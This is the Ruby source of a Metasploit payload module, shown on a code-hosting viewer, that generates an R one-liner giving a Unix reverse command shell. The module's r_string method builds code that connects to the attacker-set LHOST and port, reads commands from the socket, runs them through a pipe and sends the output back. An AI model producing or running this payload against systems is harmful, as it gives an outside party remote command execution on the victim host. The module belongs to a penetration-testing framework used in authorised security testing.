Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/cmd/unix/reverse_r.rb
21551 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 157
8
9
include Msf::Payload::Single
10
include Msf::Payload::R
11
include Msf::Sessions::CommandShellOptions
12
13
def initialize(info = {})
14
super(
15
merge_info(
16
info,
17
'Name' => 'Unix Command Shell, Reverse TCP (via R)',
18
'Description' => 'Connect back and create a command shell via R',
19
'Author' => [ 'RageLtMan <rageltman[at]sempervictus>' ],
20
'License' => MSF_LICENSE,
21
'Platform' => 'unix',
22
'Arch' => ARCH_CMD,
23
'Handler' => Msf::Handler::ReverseTcp,
24
'Session' => Msf::Sessions::CommandShell,
25
'PayloadType' => 'cmd',
26
'RequiredCmd' => 'R',
27
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
28
)
29
)
30
register_advanced_options(
31
[
32
OptString.new('RPath', [true, 'The path to the R executable', 'R'])
33
]
34
)
35
end
36
37
def generate(_opts = {})
38
return prepends(r_string)
39
end
40
41
def prepends(r_string)
42
return "#{datastore['RPath']} -e \"#{r_string}\""
43
end
44
45
def r_string
46
lhost = Rex::Socket.is_ipv6?(datastore['LHOST']) ? "[#{datastore['LHOST']}]" : datastore['LHOST']
47
return "s<-socketConnection(host='#{lhost}',port=#{datastore['LPORT']}," \
48
"blocking=TRUE,server=FALSE,open='r+');while(TRUE){writeLines(readLines" \
49
'(pipe(readLines(s, 1))),s)}'
50
end
51
end
52
53